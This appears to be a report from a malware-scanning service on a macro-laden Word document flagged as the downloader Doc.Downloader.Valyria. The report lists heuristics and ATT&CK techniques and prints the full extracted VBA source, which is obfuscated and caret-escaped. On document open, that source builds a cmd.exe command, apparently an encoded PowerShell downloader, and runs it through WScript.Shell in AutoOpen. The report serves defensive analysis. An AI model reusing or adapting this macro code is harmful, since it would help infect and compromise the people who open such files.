MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains VBA macros with critical findings for Shell() calls and WScript.Shell usage, indicating it attempts to execute commands. The macro constructs a command string that appears to be an attempt to download and execute a payload using `mshta.exe` or a similar utility. The presence of the ClamAV detection 'Doc.Downloader.Valyria-6665596-0' further supports its role as a downloader.
Heuristics 10
-
ClamAV: Doc.Downloader.Valyria-6665596-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6665596-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
On Error Resume Next CreateObject("WScript.Shell").Run! KeyString(Str(4 + 7 + 2 + 3 + 51)) + jALcUaD + sntassC + MXJXEOWp + BIumj + RTHsocfNpVV + IKpjl + uHOVUZA + lciYFfd + tNGBbWDDn + tjMjwSJXIwORku + lGFRjutX, 917608695 - 917608695 End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
On Error Resume Next CreateObject("WScript.Shell").Run! KeyString(Str(4 + 7 + 2 + 3 + 51)) + jALcUaD + sntassC + MXJXEOWp + BIumj + RTHsocfNpVV + IKpjl + uHOVUZA + lciYFfd + tNGBbWDDn + tjMjwSJXIwORku + lGFRjutX, 917608695 - 917608695 End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12306 bytes |
SHA-256: d91acbaa081463ab49e2c50691ccef05564152912ae4154a70b6141c82590eff |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
137 of 236 identifiers look randomly generated (e.g. 'LDWkSHTFwiuWzT'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jubrKCwiiKiOl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "wbXvapWHWs"
Function MXJXEOWp()
On Error Resume Next
IsArray Month(uRbmR + QciTB)
BAOwwjzEK = "Md /V^" + ":^" + "on^" + " " + "^" + " /r" + " " + CStr(Chr(caoCtlOwGQklV + MRozPWss + 34 + zJNavQP + PNAOSNzOYmJ)) + "s" + "^eT^ " + " ^ "
MmoTJP = 4553 / hdvnsS
VarType AzVPHS / OlGjZ
swiczp = "c" + "^2w^b" + "^=^po" + "w:" + "r^" + "}h^:"
MmoTJP = Second(ltNCk / UfwpcE)
MmoTJP = VWzCa + nwzJJZ
JQpjphizq = "l^l#-^:" + "#^" + "J^A^B^" + "kA^E" + "^o^A" + "V^A^A" + "9A;^'A^" + "Z^Q" + "B]A^X" + "^0Ab" + "w^Bi" + "^A;"
MmoTJP = Oct(43)
VarType CDbl(carYK / iPHzfU * ZiNwr * klXiP)
MmoTJP = Int(tLnEj * MBNmMb + hudvSX / ivaOA)
IsArray Oct(39135741)
MmoTJP = TimeValue(34)
EAfLBPiQsR = "oA^Z^Q" + "^BjA" + "^4^QA^5" + "^" + "ABO^A^;" + "^U^A" + "^dAAuA" + "Fc" + "^A^" + "Z^Q^" + "B" + "i^A^E^M" + "Ab^A^"
IsArray 55196 + LinsE * FTwQYZ / kZDRwH
IsArray Atn(rcGWz / WwKbnu)
fHftsinhCrk = "B" + "p^" + "A;^U" + "^Ab^gB0" + "^"
IsArray 37817 * NXBWpq * 91736 / 43801
IsArray CCur(NWbclI + FZBZL)
IsArray CDate(qiRKwS / fdLCv)
MmoTJP = VwFSO / nJbuin
BRFTP = "A" + "^" + "D^}^" + "AJ^" + "A^B}^A" + "Ek" + "Aa" + "AA9A^X" + "c^A^aA"
VarType 7087 * hwwJoS
IsArray CDate(kEPkm)
MmoTJP = TimeValue(2593)
IsArray Hex(JjFjjj)
wDRvaLGlrP = "^B" + "^0^" + "A4QAcAA" + "^6^" + "A^X^+" + "^A" + "Lw" + "^B^"
VarType TimeValue(smNzl + iGfqv + twiYGt * dLEqC)
IsArray Hex(8311)
MmoTJP = pvhaZ * tlGCEL
MmoTJP = 10365 - KGHnU * 73998 - mBpjaS
ZCFzQZ = "l^A" + "4^UA" + "c" + "^gBvA4" + "^A"
MXJXEOWp = BAOwwjzEK + swiczp + JQpjphizq + EAfLBPiQsR + fHftsinhCrk + BRFTP + wDRvaLGlrP + ZCFzQZ
MmoTJP = ZkuTSW + MZwtTm / AczZJw + SRZjLH
End Function
Function BIumj()
On Error Resume Next
MmoTJP = Int(cGImJ * MZVBLc / 86993 - tEGHSU)
VarType CByte(8244)
IsArray 15012 / iYdlz
MmoTJP = Cos(Sdraz * qBIpN * 13929 + 80490)
IsArray Cos(uiVJW)
zlSbrLcczE = "^AZ" + "^" + "Q^" + "At^A" + ";^" + "MAb^w^" + "BhA^;M" + "^Aa" + "A^B" + "^lA"
VarType 21254 / hBiPC
AVXjzbP = "4^MA" + "L^gBj" + "^A;+" + "^A^b" + "^Q^Av^" + "A^4" + "^gAaQ^" + "B2^A^F" + "k^AQA^"
IsArray Rnd(Loczz)
IsArray UriNfq + oEjik
VarType CDate(60242 * OEwdGf * JkNbE - GBPaaq)
wPmnIiLSiIz = "B" + "^o^A4" + "^Q^A" + "^dAB^w" + "^AD^" + "o" + "^A^L" + "^w^Av^" + "A4AA" + "b^wB^w" + "^A^4U^A" + "cAAuA^;" + "wAaQ^B"
IsArray 41028 * 23570 - jBLPKE * JEChu
IsArray CBool(lPhCU * JbBfC)
HSOZdALwh = "2A^" + ";UA^a^" + "QB^uA" + "^4Q^" + "AZ" + "Q^" + "BuA^4M^" + "A^aQ" + "^" + "B^2" + "^A^X^'A" + "c"
MmoTJP = Sin(46)
IsArray CDate(MjoXn + CmqrLA)
OzKBjocm = "^g^B" + "1AX^+A" + "R" + "^w^Bo^" + "A;w^" + "A^dQ^B^" + "A^A^;" + "gA^dAB" + "0A" + "^4AA^" + "O^g^"
VarType Sqr(52150 / RoYNjk)
MmoTJP = Tan(EQHzf)
XUzml = "Av^AX+" + "A^" + "ZQB^o^" + "A^;" + "^EAb^" + "g" + "Bk^" + "A;^+A"
BIumj = zlSbrLcczE + AVXjzbP + wPmnIiLSiIz + HSOZdALwh + OzKBjocm + XUzml
MmoTJP = CByte(lbwQX)
MmoTJP = Month(66649 / CrVtWL)
IsArray nTXjDG - wcEOuF
VarType 89634 - LfGtXr / XSZdbS - fiPYFC
IsArray 66088 * rLJHsp
End Function
Function RTHsocfNpVV()
On Error Resume Next
MmoTJP = Fix(Zjfjdr)
VarType Atn(196)
VarType XNOjDd + VSqwkk
MmoTJP = AijIKs / YDLkUA - 89187 + jwJfn
IsArray 49988 + XARdcC
fjPLH = "^dQB" + "^0A" + "4^MAL" + "^gB" + "w^A^;" + "^E^Ad^" + "AB" + "0" + "^A;U" + "Ac^g^B" + "^z" + "A" + "^;+"
IsArray 21057 / pduOoo
IsArray CDec(7)
VarType CkiCR - iGsaRR + pfWzi - 38652
RrMvMq = "A^b^g" + "^B^pA4" + "QA^L^g^" + "BjA" + ";^+" + "A^bQAv^" + "A^;cA^Q" + "wB^BAD" + "^k" + "^A"
VarType Round(28190 / lKwJf * hYAhTb / taAwXP)
VarType 43779 / oVXUOz
ZFPQAh = "^QA^B" + "^o^A4Q" + "^A^" + "d^A^Bw" + "^A"
MmoTJP = Fix(15989 + ltjtQP * jLvjz * VqUAvL)
IsArray Cos(9412)
MmoTJP = Tan(XMcwU)
ntTGwYcDs = "D^oA" + "^L^wAvA" + ";^" + "0AZQ" + "^Bl^A^" + "4QAcw" + "Au^" + "A;QA:" + "QBv^A;^"
MmoTJP = CStr(873)
IsArray Cos(HBwCTX)
VarType Int(IlajPh)
iKtKpAbj = "'Ad^" + "w^Bv" + "^A^4^5^" + "Aa" + "wBz^A^;" + "^" + "gA^bwB^" + "w" + "^A^X" + "'A" + "Y^"
IsArray 27591 - Ewvzfp * 7278 - iwXzFX
IsArray Sin(17274 * huFZbo)
pHNsTkiCp = "wBvA" + "^;^0^A" + "L^wB^yA" + "EA" + "A" + "a^A" + "^B^0^A^" + "4^"
IsArray Int(ljbXsl)
MmoTJP = tUHiP + LmuwB / WNrJEt / MlutLn
ipKsoTIzUzn = "QA" + "c" + "A^A^6" + "A^X" + "+" + "^" + "ALw^" + "Bn^A" + ";^EA" + "^:gB^" + "k^"
IsArray Round(82841 / QLifn * dWanw - vrkqaG)
MmoTJP = 14152 * CpbjM
IsArray Log(52076 * qUTkD)
GLjwqMQ = "A;^k^" + "Acw" + "^" + "B" + "^1^A^;^" + "w^AaQAu" + "A^;gAd^" + "Q^Av^" + "A^EwAJ" + "^w" + "^A" + "u^A^" + "F^"
MmoTJP = 20342 * FlJGS
MmoTJP = Atn(19)
MmoTJP = CDate(7)
IsArray 48054 / CKWTw / 10678 / auVLOv
ljITOirmBQO = "M" + "^Ac^A" + "B}^A^" + ";kAdAA" + "^oAXcA^" + "Q^A^An^"
IsArray 61169 + XDsqw / TSrmRw + jKIbUO
IsArray Oct(zOpYl - RuUNr)
IsArray CDbl(rPvkz)
IsArray Sin(73)
nNJZPp = "A^X" + "kAO" + "w^AkA4" + "^" + "M^A^" + "UQ^B^k^" + "AX^A^AP" + "^"
VarType 12908 / 15402 + 47392 * nrotai
ziTVqzPdULL = "QAgA^Xc" + "AM" + "^wA'" + "^A^D" + "^U^" + "A^J" + "w^A" + "^%AX"
RTHsocfNpVV = fjPLH + RrMvMq + ZFPQAh + ntTGwYcDs + iKtKpAbj + pHNsTkiCp + ipKsoTIzUzn + GLjwqMQ + ljITOirmBQO + nNJZPp + ziTVqzPdULL
VarType CVar(srsIai)
VarType zmUXpN * FPMZS
End Function
Function IKpjl()
On Error Resume Next
VarType Str(8275 - wddnK)
MmoTJP = TimeValue(87)
VarType TzLmfZ - DMCqn + 36270 - StjkC
HljXLdDru = "Q^AT^w" + "B^S" + "^A^E^'" + "^" + "A^P"
VarType Month(pzTpiE)
MmoTJP = Second(53788 * bvYJPs + 96022 + hiHVz)
jKouNBo = "^Q" + "A^k^A" + ";" + "^" + "U" + "Abg^" + "B2A" + "^D" + "o^Ac" + "A^B" + "^1^A;5"
VarType Jdrmib - wzwDlz
MmoTJP = Round(hMICl - hhaML)
JTCfCUpdiSX = "^A^b^" + "A^B^p" + "^A" + "^;^MA_" + "wAn^AFw" + "^A" + "J^w^A" + "rA" + "^" + "X^QAc^w" + "^"
VarType Oct(npzvZj - 74977)
IsArray CCur(3965)
MmoTJP = 79628 - ZUVIbD * 68346 * lcBZun
nwfUMmZXjmZ = "BRA^" + ";Q^" + "A^_^w" + "AnAX^'" + "^A" + "^Z^QB'A" + ";UA^J" + "wA^%A^"
IsArray Qnris * mrCjia
IsArray CVar(245197110)
YGMHrNcMVj = ";Y^" + "A^bwB^y" + "A;U^AYQ" + "B^jA^" + ";g" + "^A^_^A" + "A^kAFc" + "^" + "AR^g" + "^BQ" + "AXA^" + "A^aQ^B" + "u^A^"
MmoTJP = Atn(rpifwk * hNAWS)
IsArray zlXCLp + 33209 - 444 + Mrzzn
RFNwP = "X^AAJ^A" + "^B}A^" + "E^kA^a^" + "AA^p^A" + "^" + "4}^A" + "^d^AB" + "^yA4^" + "kA^:^w"
IKpjl = HljXLdDru + jKouNBo + JTCfCUpdiSX + nwfUMmZXjmZ + YGMHrNcMVj + RFNwP
MmoTJP = RRAimD * tqldL / OOpoKT / lUzCsS
VarType CCur(29538 - FjhBvh * 4204 + 29479)
End Function
Function uHOVUZA()
On Error Resume Next
VarType 64068 - OikwIJ
VarType Atn(FsrwAB * UwqUzm)
MmoTJP = Str(89072 / mPjKS / jfNSw - OiLul)
GDSAEcF = "AkA;^" + "Q^A^Sg^" + "B^U" + "AX" + "'A" + "R^ABv" + "^A^4" + "c^" + "Abg" + "^B}^" + "A;^+^"
IsArray Atn(70)
RadzudkI = "A^Y^QB" + "k" + "AE^YAa" + "Q^B}A^" + ";^U^A_^" + "A" + "A"
IsArray vzlrAH - nItKQC
MmoTJP = Cos(2)
MmoTJP = Fix(42796 * fzPBWd)
MmoTJP = TypeName(FTqzj + toQvTf / 17276 + liotV)
MmoTJP = Sgn(baXbVD)
JfGhJkshrt = "k^" + "AF" + "cA" + "Rg^B^Q" + "^AXwA" + "^" + "5A^A" + "k^AE"
IsArray Fix(18098 + LlzVp)
MmoTJP = TimeValue(jAXSD - mAZzSW - HKrREW * XTLGV)
VarType kawGMS * QdCQa / GUOqQK * TMOKIr
IsArray XntifR + shBXj
IsArray CDbl(cizXwT)
aXQBM = "+^AUg^" + "BOA^X^" + "kAOw^BJ" + "^" + "A;^" + "'A^d^g^" + "Bv" + "^A;}" + "AZQ" + "AtAEk^A" + "^d" + "^"
VarType UTuQo * wXoOp
MmoTJP = TypeName(393005039)
MmoTJP = Oct(hoaiNT)
VarType Month(wnJMCX)
ordhlVZwP = "A^B^" + "l" + "^A^;^" + "0^" + "A" + "5^AA^kA" + "E^" + "+AU^gB" + "O^A^D^}"
IsArray CVar(dTHiX / 93751 * 42444 / suAVzQ)
IsArray 23895 * AKFiB
VarType GUmTJ * Wwdqm / JOzrs / uFvLo
IsArray Val(208065013)
ZwXMSvs = "A^YgByA" + ";" + "U^AY^Q^" + "B" + "r^A" + "D}^A"
MmoTJP = CVar(75)
IsArray ShOkY + aGbCKC * TXErJd + CmASM
iaAXZXNjw = "^7Q" + "^B^j" + "^A;^E^" + "A^d" + "AB^" + "jA^;^" + "gA^:^"
MmoTJP = Round(vjcZJ)
UndzYO = "w^B^9A4" + "^0A5^A" + "^Ag" + "^A" + "X" + "AA^5^A" + "A^gA" + "^XA^" + "A^5^" + "AAgA^XA" + "^A^5^" + "AAg^A^X"
uHOVUZA = GDSAEcF + RadzudkI + JfGhJkshrt + aXQBM + ordhlVZwP + ZwXMSvs + iaAXZXNjw + UndzYO
VarType Rnd(63577 * VairTf * cwfjvX / UmAjVh)
MmoTJP = MiWwr / WwzCl + 43295 + jFObB
VarType Val(92699 + bImVX)
IsArray Second(tRKvDm)
VarType CDec(3)
End Function
Function lciYFfd()
On Error Resume Next
MmoTJP = Second(95)
MmoTJP = Log(94)
VarType Atn(5)
MmoTJP = bzMzN + VUoMGz + iJBlnh + FUjhKl
kvzEJCh = "^AA5A" + "^" + "Ag^A^" + "X" + "AA^5AA"
VarType FtGNl * LvicUm
VarType Cos(vtblJ)
ifPcI = "^gA^A" + "==& s" + "^E^t ^" + " u^g" + "=^!c^2^" + "wb^:}" + "^"
VarType Cos(5472)
MmoTJP = CDate(rUisDm - YrcUc / wHwrzq * HIhbni)
MmoTJP = WdTrf + OsCzH * 15898 * EcJhwY
VarType CCur(BGPfp)
iTXdtzHzC = "=" + "^" + "s^!&" + " S^E" + "T" + " ^ ^" + " ^2"
IsArray Atn(GEZuhB * 27234 / dwljP + triTCf)
MmoTJP = CDbl(oGpVEo)
VarType TimeValue(AdfFv)
MmoTJP = Fix(oqlii)
MmoTJP = CDate(NuCOBD)
XJAiFPNQiaS = "v^Z=!^u" + "^g:^" + "7^=^f!&" + " " + " s^E^" + "T ^ ^q^" + "h=!^2v" + "^Z^:%=" + "7!& " + " " + " S^" + "e^t" + " "
IsArray 6437 - MPTFM / ZfXwHE / AAJVZ
IsArray Second(WrnTV * 72156)
IsArray Tan(iDpCco)
IsArray kUvwC - 21529
IsArray CByte(71393293)
CwTvzQA = "^ " + " " + "^ n^X=" + "^!^q" + "^h^:^4" + "^=H^"
IsArray Rnd(64347 + bluUcA)
IsArray Hex(MjATHF / VQXuNr / cALinH / PwpWD)
VarType uOAOYH - 86041 - VMzam * DXuUu
IsArray iFpVf - fOaUu
uGCzwJA = "!" + "&& se" + "^T ^" + " ^ ^" + "l" + "^" + "4"
VarType 21326 - DimaCW - pjBTiz - 70576
MmoTJP = 88527 - uMcPz
iZfkW = "^z=" + "^!" + "n" + "^X" + "^:^5^=" + "^I!&" + "s^E^t " + "^ ^" + " ^l^e" + "=!^l" + "^4^z:"
IsArray LavCJ + jAFGCv
VarType 52754 + OtwAi
VarType CDec(64)
GIAMLc = "_^=K!&&" + " Se^t" + " 3" + "^" + "g=^!^l" + "^e^" + ":]^=^" + "3!" + "& SE" + "T " + "^ ^ ^ " + "^8^dMq="
IsArray iKfpP * JwHIl
GzbvJolkz = "^!" + "^" + "3" + "^g^:" + ":^=e" + "^!& " + " sE^" + "t ^ " + "F^O^D=" + "!^" + "8^d^M^" + "q^:^" + ";^=^"
MmoTJP = 91371 + kFZzPi
IsArray qluzD + jJUuTz + uEElj - SZzuaS
IsArray Sin(GrUkqR * cKZhX)
IsArray 74296 + bhiYvX
VZfoRlc = "G!& " + " s" + "^eT" + " ^ Z^l" + "^z=!" + "^F^O^D" + "^:X^"
IsArray LCase(5068 / aFHwX)
VarType nsqUiX - DimMu
IsArray 33029 / GaXFnw
DOpIMOhv = "=C^!" + "&" + "& s" + "E^T ^ L" + "^w" + "^" + "Sc=^!^Z" + "^"
IsArray Sin(61885 / BTJfL - aUJbaM + VukmP)
MmoTJP = WnStI * ToFVK
IsArray 41522 * imDDDO
ctqtEVltz = "l" + "^z^:^'" + "=4^!" + "&s^Et " + " ^ ^" + " ^" + "AN=^!L" + "^w" + "^Sc^:^"
IsArray 21383 - wpvMs + 53219 * pEKRT
IsArray Hex(9)
rliVXtqStz = "+^=8!&&" + " s" + "^E^T " + "^ ^" + " ^2R^W" + "=!^AN^:" + "^#= !" + "&" + "&c^a^"
lciYFfd = kvzEJCh + ifPcI + iTXdtzHzC + XJAiFPNQiaS + CwTvzQA + uGCzwJA + iZfkW + GIAMLc + GzbvJolkz + VZfoRlc + DOpIMOhv + ctqtEVltz + rliVXtqStz
MmoTJP = 13892 * pHmoH
VarType 5943 * XjGOIC
VarType Month(Rbvjt)
IsArray CStr(iNvcOY)
VarType 73522 * zOjqk
End Function
Function tNGBbWDDn()
On Error Resume Next
VarType 43332 - uRjbvf + owzzM * 97179
MmoTJP = UYqtjJ * oMCjca * 28006 * TRsNHb
pvMQrXjBX = "l^L " + " " + "%^" + "2R" + "^W%" + " " + CStr(Chr(nOGUwXk + ihBvcAWLAVwt + 34 + LDWkSHTFwiuWzT + rCGifTMWl)) + " "
tNGBbWDDn = pvMQrXjBX
MmoTJP = 5417 / bCoojR * 29509 / ftAZvn
VarType Atn(57501 / UkEVOl)
MmoTJP = 24533 * TYPCha
MmoTJP = Sgn(HHtAc / 71608 * tuVwu * Fcuzm)
End Function
Attribute VB_Name = "qhVUoCqlGTw"
Sub AutoOpen()
On Error Resume Next
CreateObject("WScript.Shell").Run! KeyString(Str(4 + 7 + 2 + 3 + 51)) + jALcUaD + sntassC + MXJXEOWp + BIumj + RTHsocfNpVV + IKpjl + uHOVUZA + lciYFfd + tNGBbWDDn + tjMjwSJXIwORku + lGFRjutX, 917608695 - 917608695
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.